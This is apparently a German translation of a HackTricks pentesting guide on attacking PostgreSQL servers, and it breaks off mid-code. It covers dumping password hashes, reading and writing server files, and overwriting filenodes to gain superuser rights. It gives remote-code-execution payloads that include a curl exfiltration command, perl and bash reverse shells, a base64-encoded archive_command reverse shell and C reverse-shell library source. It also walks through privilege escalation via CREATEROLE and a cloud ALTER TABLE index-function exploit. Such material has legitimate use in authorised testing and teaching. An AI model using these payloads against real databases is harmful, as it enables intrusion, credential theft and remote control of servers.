# 5432,5433 - Pentesting Postgresql
\ Verwenden Sie [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql), um einfach **Workflows** zu erstellen und zu **automatisieren**, die von den **fortschrittlichsten** Community-Tools der Welt unterstützt werden.\ Zugang heute erhalten: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %} {% hint style="success" %} Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
{% endhint %} ## **Grundinformationen** **PostgreSQL** wird als **objekt-relationales Datenbanksystem** beschrieben, das **Open Source** ist. Dieses System nutzt nicht nur die SQL-Sprache, sondern erweitert sie auch um zusätzliche Funktionen. Seine Fähigkeiten ermöglichen es, eine Vielzahl von Datentypen und Operationen zu verarbeiten, was es zu einer vielseitigen Wahl für Entwickler und Organisationen macht. **Standardport:** 5432, und wenn dieser Port bereits verwendet wird, scheint PostgreSQL den nächsten verfügbaren Port (wahrscheinlich 5433) zu verwenden. ``` PORT STATE SERVICE 5432/tcp open pgsql ``` ## Verbinden & Grundlegende Aufzählung ```bash psql -U # Open psql console with user psql -h -U -d # Remote connection psql -h -p -U -W # Remote connection ``` ```sql psql -h localhost -d -U #Password will be prompted \list # List databases \c # use the database \d # List tables \du+ # Get users roles # Get current user SELECT user; # Get current database SELECT current_catalog; # List schemas SELECT schema_name,schema_owner FROM information_schema.schemata; \dn+ #List databases SELECT datname FROM pg_database; #Read credentials (usernames + pwd hash) SELECT usename, passwd from pg_shadow; # Get languages SELECT lanname,lanacl FROM pg_language; # Show installed extensions SHOW rds.extensions; SELECT * FROM pg_extension; # Get history of commands executed \s ``` {% hint style="warning" %} Wenn Sie beim Ausführen von **`\list`** eine Datenbank namens **`rdsadmin`** finden, wissen Sie, dass Sie sich in einer **AWS PostgreSQL-Datenbank** befinden. {% endhint %} Für weitere Informationen darüber, **wie man eine PostgreSQL-Datenbank ausnutzt**, siehe: {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %} [postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/) {% endcontent-ref %} ## Automatische Enumeration ``` msf> use auxiliary/scanner/postgres/postgres_version msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection ``` ### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#postgresql) ### **Port-Scanning** Laut [**dieser Forschung**](https://www.exploit-db.com/papers/13084) wirft `dblink` eine `sqlclient_unable_to_establish_sqlconnection`-Ausnahme, wenn ein Verbindungsversuch fehlschlägt, einschließlich einer Erklärung des Fehlers. Beispiele für diese Details sind unten aufgeführt. ```sql SELECT * FROM dblink_connect('host=1.2.3.4 port=5678 user=name password=secret dbname=abc connect_timeout=10'); ``` * Host ist nicht erreichbar `DETAIL: konnte keine Verbindung zum Server herstellen: Kein Zugang zum Host. Läuft der Server auf dem Host "1.2.3.4" und akzeptiert TCP/IP-Verbindungen auf Port 5678?` * Port ist geschlossen ``` DETAIL: could not connect to server: Connection refused Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` * Port ist offen ``` DETAIL: server closed the connection unexpectedly This probably means the server terminated abnormally before or while processing the request ``` oder ``` DETAIL: FATAL: password authentication failed for user "name" ``` * Port ist offen oder gefiltert ``` DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` In PL/pgSQL-Funktionen ist es derzeit nicht möglich, Ausnahmeinformationen zu erhalten. Wenn Sie jedoch direkten Zugriff auf den PostgreSQL-Server haben, können Sie die erforderlichen Informationen abrufen. Wenn das Extrahieren von Benutzernamen und Passwörtern aus den Systemtabellen nicht möglich ist, sollten Sie die in dem vorhergehenden Abschnitt besprochene Wortlistenangriffsmethode in Betracht ziehen, da sie möglicherweise positive Ergebnisse liefern könnte. ## Aufzählung der Berechtigungen ### Rollen | Rollentypen | | | --------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | | rolsuper | Rolle hat Superuser-Berechtigungen | | rolinherit | Rolle erbt automatisch die Berechtigungen der Rollen, deren Mitglied sie ist | | rolcreaterole | Rolle kann weitere Rollen erstellen | | rolcreatedb | Rolle kann Datenbanken erstellen | | rolcanlogin | Rolle kann sich anmelden. Das heißt, diese Rolle kann als die anfängliche Sitzungsautorisierungskennung angegeben werden. | | rolreplication | Rolle ist eine Replikationsrolle. Eine Replikationsrolle kann Replikationsverbindungen initiieren und Replikationsslots erstellen und löschen. | | rolconnlimit | Für Rollen, die sich anmelden können, legt dies die maximale Anzahl gleichzeitiger Verbindungen fest, die diese Rolle herstellen kann. -1 bedeutet kein Limit. | | rolpassword | Nicht das Passwort (wird immer als `********` angezeigt) | | rolvaliduntil | Passwortablaufzeit (nur für die Passwortauthentifizierung verwendet); null, wenn keine Ablaufzeit vorhanden ist | | rolbypassrls | Rolle umgeht jede Zeilenebene-Sicherheitsrichtlinie, siehe [Abschnitt 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) für weitere Informationen. | | rolconfig | Rollenspezifische Standardwerte für Laufzeitkonfigurationsvariablen | | oid | ID der Rolle | #### Interessante Gruppen * Wenn Sie Mitglied von **`pg_execute_server_program`** sind, können Sie **Programme ausführen**. * Wenn Sie Mitglied von **`pg_read_server_files`** sind, können Sie **Dateien lesen**. * Wenn Sie Mitglied von **`pg_write_server_files`** sind, können Sie **Dateien schreiben**. {% hint style="info" %} Beachten Sie, dass in Postgres ein **Benutzer**, eine **Gruppe** und eine **Rolle** dasselbe sind. Es hängt nur davon ab, **wie Sie es verwenden** und ob Sie **es zur Anmeldung zulassen**. {% endhint %} ```sql # Get users roles \du #Get users roles & groups # r.rolpassword # r.rolconfig, SELECT r.rolname, r.rolsuper, r.rolinherit, r.rolcreaterole, r.rolcreatedb, r.rolcanlogin, r.rolbypassrls, r.rolconnlimit, r.rolvaliduntil, r.oid, ARRAY(SELECT b.rolname FROM pg_catalog.pg_auth_members m JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid) WHERE m.member = r.oid) as memberof , r.rolreplication FROM pg_catalog.pg_roles r ORDER BY 1; # Check if current user is superiser ## If response is "on" then true, if "off" then false SELECT current_setting('is_superuser'); # Try to grant access to groups ## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section) GRANT pg_execute_server_program TO "username"; GRANT pg_read_server_files TO "username"; GRANT pg_write_server_files TO "username"; ## You will probably get this error: ## Cannot GRANT on the "pg_write_server_files" role without being a member of the role. # Create new role (user) as member of a role (group) CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files; ## Common error ## Cannot GRANT on the "pg_read_server_files" role without being a member of the role. ``` ### Tabellen ```sql # Get owners of tables select schemaname,tablename,tableowner from pg_tables; ## Get tables where user is owner select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres'; # Get your permissions over tables SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants; #Check users privileges over a table (pg_shadow on this example) ## If nothing, you don't have any permission SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow'; ``` ### Funktionen ```sql # Interesting functions are inside pg_catalog \df * #Get all \df *pg_ls* #Get by substring \df+ pg_read_binary_file #Check who has access # Get all functions of a schema \df pg_catalog.* # Get all functions of a schema (pg_catalog in this case) SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position FROM information_schema.routines LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name WHERE routines.specific_schema='pg_catalog' ORDER BY routines.routine_name, parameters.ordinal_position; # Another aparent option SELECT * FROM pg_proc; ``` ## Dateisystemaktionen ### Verzeichnisse und Dateien lesen Von diesem [**Commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)können Mitglieder der definierten **`DEFAULT_ROLE_READ_SERVER_FILES`**-Gruppe (genannt **`pg_read_server_files`**) und **Superbenutzer** die **`COPY`**-Methode auf jedem Pfad verwenden (siehe `convert_and_check_filename` in `genfile.c`): ```sql # Read file CREATE TABLE demo(t text); COPY demo from '/etc/passwd'; SELECT * FROM demo; ``` {% hint style="warning" %} Denke daran, dass du, wenn du kein Superuser bist, aber die **CREATEROLE**-Berechtigungen hast, dich **Mitglied dieser Gruppe machen kannst:** ```sql GRANT pg_read_server_files TO username; ``` [**Mehr Informationen.**](pentesting-postgresql.md#privilege-escalation-with-createrole) {% endhint %} Es gibt **andere Postgres-Funktionen**, die verwendet werden können, um **Dateien zu lesen oder ein Verzeichnis aufzulisten**. Nur **Superuser** und **Benutzer mit expliziten Berechtigungen** können sie verwenden: ```sql # Before executing these function go to the postgres DB (not in the template1) \c postgres ## If you don't do this, you might get "permission denied" error even if you have permission select * from pg_ls_dir('/tmp'); select * from pg_read_file('/etc/passwd', 0, 1000000); select * from pg_read_binary_file('/etc/passwd'); # Check who has permissions \df+ pg_ls_dir \df+ pg_read_file \df+ pg_read_binary_file # Try to grant permissions GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username; # By default you can only access files in the datadirectory SHOW data_directory; # But if you are a member of the group pg_read_server_files # You can access any file, anywhere GRANT pg_read_server_files TO username; # Check CREATEROLE privilege escalation ``` Du kannst **weitere Funktionen** unter [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html) finden. ### Einfaches Schreiben von Dateien Nur **Superbenutzer** und Mitglieder von **`pg_write_server_files`** können copy verwenden, um Dateien zu schreiben. {% code overflow="wrap" %} ```sql copy (select convert_from(decode('','base64'),'utf-8')) to '/just/a/path.exec'; ``` {% endcode %} {% hint style="warning" %} Denke daran, dass du, wenn du kein Superuser bist, aber die **`CREATEROLE`** Berechtigungen hast, **dich selbst Mitglied dieser Gruppe machen kannst:** ```sql GRANT pg_write_server_files TO username; ``` [**Mehr Informationen.**](pentesting-postgresql.md#privilege-escalation-with-createrole) {% endhint %} Denken Sie daran, dass COPY keine Zeilenumbrüche verarbeiten kann, daher müssen Sie, selbst wenn Sie eine base64-Nutzlast verwenden, **eine Einzeilige senden**.\ Eine sehr wichtige Einschränkung dieser Technik ist, dass **`copy` nicht verwendet werden kann, um Binärdateien zu schreiben, da es einige binäre Werte verändert.** ### **Hochladen von Binärdateien** Es gibt jedoch **andere Techniken, um große Binärdateien hochzuladen:** {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %} [big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md) {% endcontent-ref %} ## **Bug-Bounty-Tipp**: **Melden Sie sich an** bei **Intigriti**, einer Premium-**Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde**! Treten Sie uns bei [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) und beginnen Sie, Prämien von bis zu **100.000 $** zu verdienen! {% embed url="https://go.intigriti.com/hacktricks" %} ### Aktualisieren von PostgreSQL-Tabellendaten über lokale Dateischreibung Wenn Sie die erforderlichen Berechtigungen zum Lesen und Schreiben von PostgreSQL-Serverdateien haben, können Sie jede Tabelle auf dem Server aktualisieren, indem Sie **die zugehörige Dateiknoten** im [PostgreSQL-Datenverzeichnis](https://www.postgresql.org/docs/8.1/storage.html) überschreiben. **Mehr zu dieser Technik** [**hier**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users). Erforderliche Schritte: 1. Erhalten Sie das PostgreSQL-Datenverzeichnis ```sql SELECT setting FROM pg_settings WHERE name = 'data_directory'; ``` **Hinweis:** Wenn Sie den aktuellen Datenverzeichnispfad aus den Einstellungen nicht abrufen können, können Sie die Hauptversion von PostgreSQL über die `SELECT version()`-Abfrage abfragen und versuchen, den Pfad zu brute-forcen. Häufige Datenverzeichnispfade auf Unix-Installationen von PostgreSQL sind `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Ein häufiger Clustername ist `main`. 2. Erhalten Sie einen relativen Pfad zum Dateiknoten, der mit der Ziel-Tabelle verbunden ist ```sql SELECT pg_relation_filepath('{TABLE_NAME}') ``` Diese Abfrage sollte etwas wie `base/3/1337` zurückgeben. Der vollständige Pfad auf der Festplatte wird `$DATA_DIRECTORY/base/3/1337` sein, d.h. `/var/lib/postgresql/13/main/base/3/1337`. 3. Laden Sie den Dateiknoten über die `lo_*`-Funktionen herunter ```sql SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337) ``` 4. Erhalten Sie den Datentyp, der mit der Ziel-Tabelle verbunden ist ```sql SELECT STRING_AGG( CONCAT_WS( ',', attname, typname, attlen, attalign ), ';' ) FROM pg_attribute JOIN pg_type ON pg_attribute.atttypid = pg_type.oid JOIN pg_class ON pg_attribute.attrelid = pg_class.oid WHERE pg_class.relname = '{TABLE_NAME}'; ``` 5. Verwenden Sie den [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor), um [den Dateiknoten zu bearbeiten](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); setzen Sie alle `rol*`-Boolean-Flags auf 1 für volle Berechtigungen. ```bash python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA} ``` ![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo\_datatype.gif) 6. Laden Sie den bearbeiteten Dateiknoten über die `lo_*`-Funktionen erneut hoch und überschreiben Sie die Originaldatei auf der Festplatte ```sql SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64')) SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}') ``` 7. _(Optional)_ Leeren Sie den Cache der In-Memory-Tabelle, indem Sie eine teure SQL-Abfrage ausführen ```sql SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea) ``` 8. Sie sollten jetzt aktualisierte Tabellenwerte in PostgreSQL sehen. Sie können auch ein Superadmin werden, indem Sie die `pg_authid`-Tabelle bearbeiten. **Siehe** [**den folgenden Abschnitt**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables). ## RCE ### **RCE zu Programm** Seit [Version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html) können nur **Superbenutzer** und Mitglieder der Gruppe **`pg_execute_server_program`** copy für RCE verwenden (Beispiel mit Exfiltration: ```sql '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- - ``` Beispiel für exec: ```bash #PoC DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; DROP TABLE IF EXISTS cmd_exec; #Reverse shell #Notice that in order to scape a single quote you need to put 2 single quotes COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'''; ``` {% hint style="warning" %} Denke daran, dass du, wenn du kein Superuser bist, aber die **`CREATEROLE`**-Berechtigungen hast, **dich selbst Mitglied dieser Gruppe machen kannst:** ```sql GRANT pg_execute_server_program TO username; ``` [**Mehr Informationen.**](pentesting-postgresql.md#privilege-escalation-with-createrole) {% endhint %} Oder verwenden Sie das `multi/postgres/postgres_copy_from_program_cmd_exec` Modul von **metasploit**.\ Weitere Informationen zu dieser Schwachstelle [**hier**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Obwohl als CVE-2019-9193 gemeldet, erklärte Postges, dass dies ein [Feature ist und nicht behoben wird](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). ### RCE mit PostgreSQL-Sprachen {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %} [rce-with-postgresql-languages.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md) {% endcontent-ref %} ### RCE mit PostgreSQL-Erweiterungen Sobald Sie **gelernt** haben, **wie man Binärdateien hochlädt**, könnten Sie versuchen, **RCE zu erhalten, indem Sie eine PostgreSQL-Erweiterung hochladen und laden**. {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %} [rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md) {% endcontent-ref %} ### PostgreSQL-Konfigurationsdatei RCE {% hint style="info" %} Die folgenden RCE-Vektoren sind besonders nützlich in eingeschränkten SQLi-Kontexten, da alle Schritte durch geschachtelte SELECT-Anweisungen durchgeführt werden können. {% endhint %} Die **Konfigurationsdatei** von PostgreSQL ist **beschreibbar** durch den **postgres-Benutzer**, der die Datenbank ausführt, sodass Sie als **Superuser** Dateien im Dateisystem schreiben können und daher diese Datei **überschreiben können.** ![](<../.gitbook/assets/image (322).png>) #### **RCE mit ssl\_passphrase\_command** Weitere Informationen [zu dieser Technik hier](https://pulsesecurity.co.nz/articles/postgres-sqli). Die Konfigurationsdatei hat einige interessante Attribute, die zu RCE führen können: * `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Pfad zum privaten Schlüssel der Datenbank * `ssl_passphrase_command = ''` Wenn die private Datei durch ein Passwort geschützt ist (verschlüsselt), wird PostgreSQL **den in diesem Attribut angegebenen Befehl ausführen**. * `ssl_passphrase_command_supports_reload = off` **Wenn** dieses Attribut **ein** ist, wird der **Befehl**, der ausgeführt wird, wenn der Schlüssel durch ein Passwort geschützt ist, **ausgeführt**, wenn `pg_reload_conf()` **ausgeführt** wird. Dann muss ein Angreifer: 1. **Den privaten Schlüssel** vom Server **dumpen** 2. Den heruntergeladenen privaten Schlüssel **verschlüsseln**: 1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key` 3. **Überschreiben** 4. Die aktuelle PostgreSQL **Konfiguration** **dumpen** 5. Die **Konfiguration** mit den erwähnten Attributen überschreiben: 1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'` 2. `ssl_passphrase_command_supports_reload = on` 6. `pg_reload_conf()` ausführen Während ich dies testete, stellte ich fest, dass dies nur funktioniert, wenn die **private Schlüsseldatei die Berechtigungen 640 hat**, sie **von root** besessen wird und von der **Gruppe ssl-cert oder postgres** (damit der postgres-Benutzer sie lesen kann) und sich in _/var/lib/postgresql/12/main_ befindet. #### **RCE mit archive\_command** **Mehr** [**Informationen zu dieser Konfiguration und zu WAL hier**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.** Ein weiteres ausnutzbares Attribut in der Konfigurationsdatei ist `archive_command`. Damit dies funktioniert, muss die Einstellung `archive_mode` auf `'on'` oder `'always'` gesetzt sein. Wenn das der Fall ist, könnten wir den Befehl in `archive_command` überschreiben und ihn über die WAL (Write-Ahead Logging) Operationen ausführen. Die allgemeinen Schritte sind: 1. Überprüfen, ob der Archivmodus aktiviert ist: `SELECT current_setting('archive_mode')` 2. `archive_command` mit der Payload überschreiben. Zum Beispiel, eine Reverse-Shell: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'` 3. Die Konfiguration neu laden: `SELECT pg_reload_conf()` 4. Die WAL-Operation ausführen, die den Archivbefehl aufruft: `SELECT pg_switch_wal()` oder `SELECT pg_switch_xlog()` für einige PostgreSQL-Versionen #### **RCE mit Preload-Bibliotheken** Weitere Informationen [zu dieser Technik hier](https://adeadfed.com/posts/postgresql-select-only-rce/). Dieser Angriffsvektor nutzt die folgenden Konfigurationsvariablen aus: * `session_preload_libraries` -- Bibliotheken, die vom PostgreSQL-Server bei der Clientverbindung geladen werden. * `dynamic_library_path` -- Liste von Verzeichnissen, in denen der PostgreSQL-Server nach den Bibliotheken sucht. Wir können den Wert von `dynamic_library_path` auf ein Verzeichnis setzen, das vom `postgres`-Benutzer, der die Datenbank ausführt, beschreibbar ist, z.B. das Verzeichnis `/tmp/`, und dort ein bösartiges `.so`-Objekt hochladen. Als nächstes zwingen wir den PostgreSQL-Server, unsere neu hochgeladene Bibliothek zu laden, indem wir sie in der Variablen `session_preload_libraries` einfügen. Die Angriffsschritte sind: 1. Die originale `postgresql.conf` herunterladen 2. Das Verzeichnis `/tmp/` in den Wert von `dynamic_library_path` einfügen, z.B. `dynamic_library_path = '/tmp:$libdir'` 3. Den Namen der bösartigen Bibliothek in den Wert von `session_preload_libraries` einfügen, z.B. `session_preload_libraries = 'payload.so'` 4. Die Hauptversion von PostgreSQL über die Abfrage `SELECT version()` überprüfen 5. Den Code der bösartigen Bibliothek mit dem richtigen PostgreSQL-Entwicklungspaket kompilieren. Beispielcode: ```c #include #include #include #include #include #include #include #include "postgres.h" #include "fmgr.h" #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif void _init() { /* code taken from https://www.revshells.com/ */ int port = REVSHELL_PORT; struct sockaddr_in revsockaddr; int sockt = socket(AF_INET, SOCK_STREAM, 0); revsockaddr.sin_family = AF_INET; revsockaddr.sin_port = htons(port); revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP"); connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr)); dup2(sockt, 0); dup2(sockt, 1); dup2(sockt, 2); char * const argv[] = {"/bin/bash", NULL}; execve("/bin/bash", argv, NULL); } ``` Den Code kompilieren: ```bash gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c ``` 6. Die bösartige `postgresql.conf`, die in den Schritten 2-3 erstellt wurde, hochladen und die originale überschreiben 7. Die `payload.so` aus Schritt 5 in das Verzeichnis `/tmp` hochladen 8. Die Serverkonfiguration durch Neustart des Servers oder durch Ausführen der Abfrage `SELECT pg_reload_conf()` neu laden 9. Bei der nächsten DB-Verbindung erhalten Sie die Verbindung zur Reverse-Shell. ## **Postgres Privesc** ### CREATEROLE Privesc #### **Grant** Laut den [**Dokumenten**](https://www.postgresql.org/docs/13/sql-grant.html): _Rollen mit **`CREATEROLE`**-Berechtigung können **Mitgliedschaften in beliebigen Rollen gewähren oder widerrufen**, die **keine** **Superuser** sind._ Wenn Sie also die Berechtigung **`CREATEROLE`** haben, könnten Sie sich selbst Zugang zu anderen **Rollen** (die keine Superuser sind) gewähren, die Ihnen die Möglichkeit geben, Dateien zu lesen und zu schreiben und Befehle auszuführen: ```sql # Access to execute commands GRANT pg_execute_server_program TO username; # Access to read files GRANT pg_read_server_files TO username; # Access to write files GRANT pg_write_server_files TO username; ``` #### Passwort ändern Benutzer mit dieser Rolle können auch **Passwörter** anderer **Nicht-Superuser** **ändern**: ```sql #Change password ALTER USER user_name WITH PASSWORD 'new_password'; ``` #### Privesc zu SUPERUSER Es ist ziemlich häufig, dass **lokale Benutzer sich in PostgreSQL anmelden können, ohne ein Passwort anzugeben**. Daher, sobald Sie **Berechtigungen zum Ausführen von Code** gesammelt haben, können Sie diese Berechtigungen missbrauchen, um Ihnen die **`SUPERUSER`** Rolle zu gewähren: ```sql COPY (select '') to PROGRAM 'psql -U -c "ALTER USER WITH SUPERUSER;"'; ``` {% hint style="info" %} Dies ist normalerweise möglich aufgrund der folgenden Zeilen in der **`pg_hba.conf`** Datei: ```bash # "local" is for Unix domain socket connections only local all all trust # IPv4 local connections: host all all 127.0.0.1/32 trust # IPv6 local connections: host all all ::1/128 trust ``` {% endhint %} ### **ALTER TABLE privesc** In [**diesem Bericht**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) wird erklärt, wie es möglich war, **privesc** in Postgres GCP auszunutzen, indem das ALTER TABLE-Recht, das dem Benutzer gewährt wurde, missbraucht wurde. Wenn Sie versuchen, **einen anderen Benutzer Eigentümer einer Tabelle zu machen**, sollten Sie einen **Fehler** erhalten, der dies verhindert, aber anscheinend gab GCP diese **Option dem nicht-Superuser postgres Benutzer** in GCP:
Wenn man diese Idee mit der Tatsache verbindet, dass bei der Ausführung der **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html)-Befehle auf einer **Tabelle mit einer Indexfunktion** die **Funktion** als Teil des Befehls mit den **Berechtigungen** des **Tabelleneigentümers** aufgerufen wird. Es ist möglich, einen Index mit einer Funktion zu erstellen und die Eigentümerberechtigungen einem **Superuser** über diese Tabelle zu geben und dann ANALYZE über die Tabelle mit der bösartigen Funktion auszuführen, die in der Lage sein wird, Befehle auszuführen, da sie die Berechtigungen des Eigentümers verwendet. ```c GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(onerel->rd_rel->relowner, save_sec_context | SECURITY_RESTRICTED_OPERATION); ``` #### Exploitation 1. Beginnen Sie mit der Erstellung einer neuen Tabelle. 2. Fügen Sie einige irrelevante Inhalte in die Tabelle ein, um Daten für die Indexfunktion bereitzustellen. 3. Entwickeln Sie eine bösartige Indexfunktion, die eine Codeausführungs-Payload enthält, die es ermöglicht, unbefugte Befehle auszuführen. 4. Ändern Sie den Eigentümer der Tabelle in "cloudsqladmin", was die Superuser-Rolle von GCP ist, die ausschließlich von Cloud SQL zur Verwaltung und Wartung der Datenbank verwendet wird. 5. Führen Sie eine ANALYZE-Operation auf der Tabelle durch. Diese Aktion zwingt die PostgreSQL-Engine, in den Benutzerkontext des Eigentümers der Tabelle, "cloudsqladmin", zu wechseln. Folglich wird die bösartige Indexfunktion mit den Berechtigungen von "cloudsqladmin" aufgerufen, wodurch die Ausführung des zuvor unbefugten Shell-Befehls ermöglicht wird. In PostgreSQL sieht dieser Ablauf ungefähr so aus: ```sql CREATE TABLE temp_table (data text); CREATE TABLE shell_commands_results (data text); INSERT INTO temp_table VALUES ('dummy content'); /* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */ CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text LANGUAGE sql IMMUTABLE AS 'select ''nothing'';'; CREATE INDEX index_malicious ON public.temp_table (suid_function(data)); ALTER TABLE temp_table OWNER TO cloudsqladmin; /* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */ CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';'; ANALYZE public.temp_table; ``` Dann wird die `shell_commands_results`-Tabelle die Ausgabe des ausgeführten Codes enthalten: ``` uid=2345(postgres) gid=2345(postgres) groups=2345(postgres) ``` ### Lokale Anmeldung Einige falsch konfigurierte PostgreSQL-Instanzen könnten die Anmeldung von jedem lokalen Benutzer erlauben, es ist möglich, lokal von 127.0.0.1 mit der **`dblink`-Funktion** zuzugreifen: ```sql \du * # Get Users \l # Get databases SELECT * FROM dblink('host=127.0.0.1 port=5432 user=someuser password=supersecret dbname=somedb', 'SELECT usename,passwd from pg_shadow') RETURNS (result TEXT); ``` {% hint style="warning" %} Beachten Sie, dass für die vorherige Abfrage **die Funktion `dblink` existieren muss**. Wenn sie nicht existiert, könnten Sie versuchen, sie mit zu erstellen. ```sql CREATE EXTENSION dblink; ``` {% endhint %} Wenn Sie das Passwort eines Benutzers mit höheren Berechtigungen haben, der jedoch nicht von einer externen IP aus anmelden darf, können Sie die folgende Funktion verwenden, um Abfragen als dieser Benutzer auszuführen: ```sql SELECT * FROM dblink('host=127.0.0.1 user=someuser dbname=somedb', 'SELECT usename,passwd from pg_shadow') RETURNS (result TEXT); ``` Es ist möglich zu überprüfen, ob diese Funktion existiert mit: ```sql SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2; ``` ### **Benutzerdefinierte Funktion mit** SECURITY DEFINER [**In diesem Bericht**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql) konnten Pentester in eine Postgres-Instanz von IBM eindringen, weil sie **diese Funktion mit dem SECURITY DEFINER-Flag gefunden haben**: 
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
